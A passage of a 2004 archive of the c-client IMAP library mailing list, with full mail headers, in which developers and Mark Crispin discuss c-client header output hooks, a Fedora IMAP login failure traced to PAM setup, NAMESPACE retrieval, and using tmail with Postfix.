(Human contact for the list) List-Post: From: Mark Crispin To: "Gard, Torbjorn" Cc: c-client@u.washington.edu Subject: Re: SMTP header Disposition-Notification-To In-Reply-To: <112AD0BB29AA17499E60E899C166C46B0BBE28@sth3k12.streamserve.com> References: <112AD0BB29AA17499E60E899C166C46B0BBE28@sth3k12.streamserve.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 16 Nov 2004, Gard, Torbjorn wrote: > I have modified c-client to set "Return-Receipt-To" when needed. For what it's worth, that is a completely deprecated feature of sendmail and should not be used by modern software. > But on the other hand I would rather use an unmodified c-client library > - any thoughts on these header values in future imap versions? Presumably your modifications are to rfc822_header(). You almost never want to use that function in a sophisticated program due to the lack of buffer overflow checking. Instead, you want to define an rfc822out_t function that you arm via mail_parameters() with SET_RFC822OUTPUT, and that function does the following: if (ok8bit) rfc822_encode_body_8bit (env,body); else rfc822_encode_body_7bit (env,body); /* write code to do the work ofrfc822_header() here, leaving pointer to header in t */ return (*f) (s,t) && (body ? rfc822_output_body (body,f,s) : T); By doing this, you have no need to modify c-client. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Nov 18 08:51:09 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Nov 2004 08:51:09 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAIGp9r8025482 for ; Thu, 18 Nov 2004 08:51:09 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAIGp67P006748 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 18 Nov 2004 08:51:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAIGoLk8011464; Thu, 18 Nov 2004 08:50:21 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAIGmW7h123234 for ; Thu, 18 Nov 2004 08:48:32 -0800 Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAIGmUVd004300 for ; Thu, 18 Nov 2004 08:48:31 -0800 Received: from [192.168.1.108] (h00105a1fac2a.ne.client2.attbi.com[24.128.236.189]) by comcast.net (rwcrmhc11) with ESMTP id <20041118164829013004rb9ie>; Thu, 18 Nov 2004 16:48:30 +0000 Message-Id: <419CD25D.1020305@dragoweb.com> Date: Thu, 18 Nov 2004 11:48:29 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew To: c-client@u.washington.edu Subject: unable to login in fedora MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have been using imap-2004 without any problems. I recently upgraded to fedora FC2 and I can connect to the imap server, but keep getting a login failure. I looked in the makefile and there was not an entry for fedora. suggestions. a -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 18 09:20:35 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Nov 2004 09:20:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAIHKYjO026829 for ; Thu, 18 Nov 2004 09:20:34 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAIHKY63028900 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 18 Nov 2004 09:20:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAIHJq8T013070; Thu, 18 Nov 2004 09:19:53 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAIHIs1b050930 for ; Thu, 18 Nov 2004 09:18:54 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAIHIrFv021687 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Nov 2004 09:18:54 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAIHIrQ5030131; Thu, 18 Nov 2004 09:18:53 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAIHIqV3012092; Thu, 18 Nov 2004 09:18:52 -0800 Message-Id: Date: Thu, 18 Nov 2004 09:18:52 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Cc: c-client@u.washington.edu Subject: Re: unable to login in fedora In-Reply-To: <419CD25D.1020305@dragoweb.com> References: <419CD25D.1020305@dragoweb.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 18 Nov 2004, Andrew wrote: > I have been using imap-2004 without any problems. I recently upgraded to > fedora FC2 and I can connect to the imap server, but keep getting a login > failure. I looked in the makefile and there was not an entry for fedora. The lrh build is suitable for Fedora. What error message do you get. "a login failure" is not specific enough. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Nov 18 10:01:40 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Nov 2004 10:01:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAII1eVp028810 for ; Thu, 18 Nov 2004 10:01:40 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAII1cIK011345 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 18 Nov 2004 10:01:39 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAII1VM2010804; Thu, 18 Nov 2004 10:01:31 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAII08oM065898 for ; Thu, 18 Nov 2004 10:00:08 -0800 Received: from sccrmhc11.comcast.net (sccrmhc11.comcast.net [204.127.202.55]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAII07i5014037 for ; Thu, 18 Nov 2004 10:00:07 -0800 Received: from [192.168.1.108] (h00105a1fac2a.ne.client2.attbi.com[24.128.236.189]) by comcast.net (sccrmhc11) with ESMTP id <2004111818000601100oqpfpe>; Thu, 18 Nov 2004 18:00:07 +0000 Message-Id: <419CE32A.3060401@dragoweb.com> Date: Thu, 18 Nov 2004 13:00:10 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew To: Mark Crispin , c-client@u.washington.edu Subject: Re: unable to login in fedora In-Reply-To: References: <419CD25D.1020305@dragoweb.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If I setup a connection to the imap server which BTW before worked perfectly and attempt to connect (login) the client reports unable to connect. If I then use telnet i.e. telnet address I get the following. Enclosed is a screen capture. Note the user/password is valid. rehbein@amd64:~> telnet 192.168.1.6 imap Trying 192.168.1.6... Connected to 192.168.1.6. Escape character is '^]'. * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS AUTH=LOGIN] sneaky.dragoweb.com IMAP4rev1 2004.352 at Thu, 18 Nov 2004 13:10:18 -0500 (EST) 001 login imap imap 001 NO LOGIN failed ^] telnet> quit Connection closed. rehbein@amd64:~> Looking in /var/log/messages Nov 18 13:10:33 sneaky imapd[8872]: Login failed user=imap auth=imap in host=[192.168.1.108] Hope this helps. a Mark Crispin wrote: > On Thu, 18 Nov 2004, Andrew wrote: > >> I have been using imap-2004 without any problems. I recently upgraded >> to fedora FC2 and I can connect to the imap server, but keep getting >> a login failure. I looked in the makefile and there was not an entry >> for fedora. > > > The lrh build is suitable for Fedora. > > What error message do you get. "a login failure" is not specific enough. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > From pinedev@shivax2.cac.washington.edu Thu Nov 18 10:04:37 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Nov 2004 10:04:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAII4bNp028924 for ; Thu, 18 Nov 2004 10:04:37 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAII4aR0030825 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 18 Nov 2004 10:04:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAII4U6R013950; Thu, 18 Nov 2004 10:04:30 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAII3p5O117994 for ; Thu, 18 Nov 2004 10:03:51 -0800 Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAII3m7Y015164 for ; Thu, 18 Nov 2004 10:03:50 -0800 Received: from [192.168.1.108] (h00105a1fac2a.ne.client2.attbi.com[24.128.236.189]) by comcast.net (rwcrmhc13) with ESMTP id <20041118180347015000vvoie>; Thu, 18 Nov 2004 18:03:48 +0000 Message-Id: <419CE407.70909@dragoweb.com> Date: Thu, 18 Nov 2004 13:03:51 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew To: Mark Crispin Subject: Re: unable to login in fedora In-Reply-To: References: <419CD25D.1020305@dragoweb.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Additionally, I originally built imap as: make lrh But the client complained about the ssl certificate. So, I rebuilt it make lrh SSLTYPE=none No change. I have since tried other build and PASSWDTYPE's no changes. A Mark Crispin wrote: > On Thu, 18 Nov 2004, Andrew wrote: > >> I have been using imap-2004 without any problems. I recently upgraded >> to fedora FC2 and I can connect to the imap server, but keep getting >> a login failure. I looked in the makefile and there was not an entry >> for fedora. > > > The lrh build is suitable for Fedora. > > What error message do you get. "a login failure" is not specific enough. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > From pinedev@shivax2.cac.washington.edu Thu Nov 18 10:31:16 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 18 Nov 2004 10:31:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAIIVFgf030127 for ; Thu, 18 Nov 2004 10:31:15 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAIIVEWO031989 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 18 Nov 2004 10:31:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAIIV7xC013198; Thu, 18 Nov 2004 10:31:09 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAIIU9MO065946 for ; Thu, 18 Nov 2004 10:30:09 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAIIU8Ap015290 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 18 Nov 2004 10:30:09 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAIIU7gu008865; Thu, 18 Nov 2004 10:30:07 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAIIU7Ls017927; Thu, 18 Nov 2004 10:30:07 -0800 Message-Id: Date: Thu, 18 Nov 2004 10:30:07 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Cc: c-client@u.washington.edu Subject: Re: unable to login in fedora In-Reply-To: <419CE32A.3060401@dragoweb.com> References: <419CD25D.1020305@dragoweb.com> <419CE32A.3060401@dragoweb.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Did you set up PAM authentication for IMAP? Specifically, is there an /etc/pam.d/imap file set up? Modern versions of Linux require this! -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Nov 22 10:12:24 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Nov 2004 10:12:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAMICOBb005774 for ; Mon, 22 Nov 2004 10:12:24 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAMICNXY009197 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 22 Nov 2004 10:12:23 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAMIC8jX018240; Mon, 22 Nov 2004 10:12:08 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAMIAWN7057568 for ; Mon, 22 Nov 2004 10:10:32 -0800 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAMIAV1O024513 for ; Mon, 22 Nov 2004 10:10:31 -0800 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id E23803E8151 for ; Mon, 22 Nov 2004 12:03:45 -0600 (CST) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 12904-07 for ; Mon, 22 Nov 2004 12:03:35 -0600 (CST) Received: by mail.bynari.net (Postfix, from userid 404) id A4C573E8168; Mon, 22 Nov 2004 12:03:35 -0600 (CST) Received: from [192.168.3.111] (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 936C83E8151 for ; Mon, 22 Nov 2004 12:03:35 -0600 (CST) Message-Id: <41A22B4F.6040903@bynari.net> Date: Mon, 22 Nov 2004 12:09:19 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Subject: IMAP NAMESPACE - How to get them? In-Reply-To: References: <419CD25D.1020305@dragoweb.com> <419CE32A.3060401@dragoweb.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How do I go about getting the IMAP NAMESPACE from c-client? I see "GET_NAMESPACE", but I would like to get the list of NAMESPACE that the IMAP server return. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 22 10:40:17 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Nov 2004 10:40:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAMIeHwb006989 for ; Mon, 22 Nov 2004 10:40:17 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAMIeGop010452 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 22 Nov 2004 10:40:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAMIe8bT016674; Mon, 22 Nov 2004 10:40:09 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAMId71h084356 for ; Mon, 22 Nov 2004 10:39:07 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAMId77t029664 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 22 Nov 2004 10:39:07 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAMId60K001271; Mon, 22 Nov 2004 10:39:06 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAMId6rD005345; Mon, 22 Nov 2004 10:39:06 -0800 Message-Id: Date: Mon, 22 Nov 2004 10:39:06 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: IMAP NAMESPACE - How to get them? In-Reply-To: <41A22B4F.6040903@bynari.net> References: <419CD25D.1020305@dragoweb.com> <419CE32A.3060401@dragoweb.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 22 Nov 2004, Shawn Walker wrote: > How do I go about getting the IMAP NAMESPACE from c-client? I see > "GET_NAMESPACE", but I would like to get the list of NAMESPACE that the IMAP > server return. If the stream argument to mail_parameters() is non-NIL, then GET_NAMESPACE will return the namespace from the stream's driver. This is only meaningful in the case of an IMAP stream. The NIL argument to mail_parameters() returns the local c-client namespace as you have observed. Cool, eh? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Nov 23 03:38:02 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Nov 2004 03:38:02 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANBc2Av008189 for ; Tue, 23 Nov 2004 03:38:02 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANBc1rl014783 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 23 Nov 2004 03:38:01 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iANBbiwW017642; Tue, 23 Nov 2004 03:37:47 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANBaHiA114320 for ; Tue, 23 Nov 2004 03:36:17 -0800 Received: from ns1.tee.gr (ns1.tee.gr [212.70.194.250]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANBaFha030621 for ; Tue, 23 Nov 2004 03:36:16 -0800 Received: from central.tee.gr (imrryr.tee.gr [212.70.193.124]) by ns1.tee.gr (8.13.0.PreAlpha4/8.13.0.PreAlpha4) with ESMTP id iANBaCDS018840 for ; Tue, 23 Nov 2004 13:36:13 +0200 Message-Id: <41A320AB.7010501@central.tee.gr> Date: Tue, 23 Nov 2004 13:36:11 +0200 Reply-To: adamo@central.tee.gr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: c-client@u.washington.edu Subject: tmail and Postfix MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: el, en, en-us X-Scanned-By: MIMEDefang 2.38 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does anyone use tmail as the local delivery agent for Postfix? I want to have MBX mailboxes and Postfix as my MTA. TIA. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 23 03:39:50 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Nov 2004 03:39:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANBdoPf008229 for ; Tue, 23 Nov 2004 03:39:50 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANBdnLk014846 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 23 Nov 2004 03:39:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iANBdg2D010874; Tue, 23 Nov 2004 03:39:43 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANBdEgS048002 for ; Tue, 23 Nov 2004 03:39:14 -0800 Received: from ns1.tee.gr (ns1.tee.gr [212.70.194.250]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANBdCjA020724 for ; Tue, 23 Nov 2004 03:39:13 -0800 Received: from central.tee.gr (imrryr.tee.gr [212.70.193.124]) by ns1.tee.gr (8.13.0.PreAlpha4/8.13.0.PreAlpha4) with ESMTP id iANBdADS019041 for ; Tue, 23 Nov 2004 13:39:10 +0200 Message-Id: <41A3215D.8000400@central.tee.gr> Date: Tue, 23 Nov 2004 13:39:09 +0200 Reply-To: adamo@central.tee.gr Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yiorgos Adamopoulos To: c-client@u.washington.edu Subject: MBX mailboxes over iSCSI MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: el, en, en-us X-Scanned-By: MIMEDefang 2.38 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does anybody have any experiense on such a configuration? iSCSI partitions look like local disks to the OS (or at least this is my understandig) but in truth they reside on another server on the network. I am going to have 20K mailboxes, but by 2005/06 I may be forced to increase this number to an order of magnitude (nearing 100K) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 23 03:57:06 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Nov 2004 03:57:06 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANBv6ZT008888 for ; Tue, 23 Nov 2004 03:57:06 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANBv5QB010546 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 